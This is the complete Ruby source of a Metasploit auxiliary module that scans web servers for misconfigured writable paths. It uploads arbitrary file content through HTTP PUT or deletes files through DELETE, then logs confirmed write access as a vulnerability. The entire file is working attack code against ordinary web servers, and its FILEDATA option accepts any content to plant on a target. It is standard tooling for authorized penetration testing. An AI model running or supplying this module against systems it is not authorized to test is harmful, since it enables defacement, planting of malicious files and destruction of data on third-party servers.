##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::WmapScanDir
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'HTTP Writable Path PUT/DELETE File Access',
      'Description' => %q{
        This module can abuse misconfigured web servers to upload and delete web content
        via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE.

        PUT is the default.  If filename isn't specified, the module will generate a
        random string for you as a .txt file. If DELETE is used, a filename is required.
      },
      'Author' => [
        'Kashif [at] compulife.com.pk',
        'CG',
        'sinn3r',
      ],
      'License' => MSF_LICENSE,
      'References' => [
        [ 'OSVDB', '397'],
      ],
      'Actions' => [
        ['PUT', 'Description' => 'Upload local file'],
        ['DELETE', 'Description' => 'Delete remote file']
      ],
      'DefaultAction' => 'PUT'
    )

    register_options(
      [
        OptString.new('PATH', [true, "The path to attempt to write or delete", "/"]),
        OptString.new('FILENAME', [true, "The file to attempt to write or delete", "msf_http_put_test.txt"]),
        OptString.new('FILEDATA', [false, "The data to upload into the file", "msf test file"]),
        OptString.new('ACTION', [true, "PUT or DELETE", "PUT"])
      ]
    )
  end

  #
  # Send a normal HTTP request and see if we successfully uploaded or deleted a file.
  # If successful, return true, otherwise false.
  #
  def file_exists(path, data, ip)
    begin
      res = send_request_cgi(
        {
          'uri' => path,
          'method' => 'GET',
          'ctype' => 'text/plain',
          'data' => data,
        }, 20
      ).to_s
    rescue ::Exception => e
      print_error("#{ip}: Error: #{e.to_s}")
      return nil
    end

    return (res =~ /#{data}/) ? true : false
  end

  #
  # Do a PUT request to the server.  Function returns the HTTP response.
  #
  def do_put(path, data, ip)
    begin
      res = send_request_cgi(
        {
          'uri' => normalize_uri(path),
          'method' => 'PUT',
          'ctype' => 'text/plain',
          'data' => data,
        }, 20
      )
    rescue ::Exception => e
      print_error("#{ip}: Error: #{e.to_s}")
      return nil
    end

    return res
  end

  #
  # Do a DELETE request. Function returns the HTTP response.
  #
  def do_delete(path, ip)
    begin
      res = send_request_cgi(
        {
          'uri' => normalize_uri(path),
          'method' => 'DELETE',
          'ctype' => 'text/html',
        }, 20
      )
    rescue ::Exception => e
      print_error("#{ip}: Error: #{e.to_s}")
      return nil
    end

    return res
  end

  #
  # Main function for the module, duh!
  #
  def run_host(ip)
    path = datastore['PATH']
    data = datastore['FILEDATA']

    if path[-1, 1] != '/'
      path += '/'
    end

    path += datastore['FILENAME']

    case action.name
    when 'PUT'
      # Append filename if there isn't one
      if path !~ /(.+\.\w+)$/
        path << "#{Rex::Text.rand_text_alpha(5)}.txt"
        vprint_status("No filename specified. Using: #{path}")
      end

      # Upload file
      res = do_put(path, data, ip)
      vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?

      # Check file
      if not res.nil? and file_exists(path, data, ip)
        turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
        print_good("File uploaded: #{turl}")
        report_vuln(
          :host => ip,
          :port => rport,
          :proto => 'tcp',
          :name => self.name,
          :info => "Module #{self.fullname} confirmed write access to #{turl} via PUT",
          :refs => self.references,
          :exploited_at => Time.now.utc
        )
      else
        print_error("#{ip}: File doesn't seem to exist. The upload probably failed")
      end

    when 'DELETE'
      # Check file before deleting
      if path !~ /(.+\.\w+)$/
        print_error("You must supply a filename")
        return
      elsif not file_exists(path, data, ip)
        print_error("File is already gone. Will not continue DELETE")
        return
      end

      # Delete our file
      res = do_delete(path, ip)
      vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?

      # Check if DELETE was successful
      if res.nil? or file_exists(path, data, ip)
        print_error("#{ip}: DELETE failed. File is still there.")
      else
        turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
        print_good("File deleted: #{turl}")
        report_vuln(
          :host => ip,
          :port => rport,
          :proto => 'tcp',
          :sname => (ssl ? 'https' : 'http'),
          :name => self.name,
          :info => "Module #{self.fullname} confirmed write access to #{turl} via DELETE",
          :refs => self.references,
          :exploited_at => Time.now.utc
        )
      end
    end
  end
end
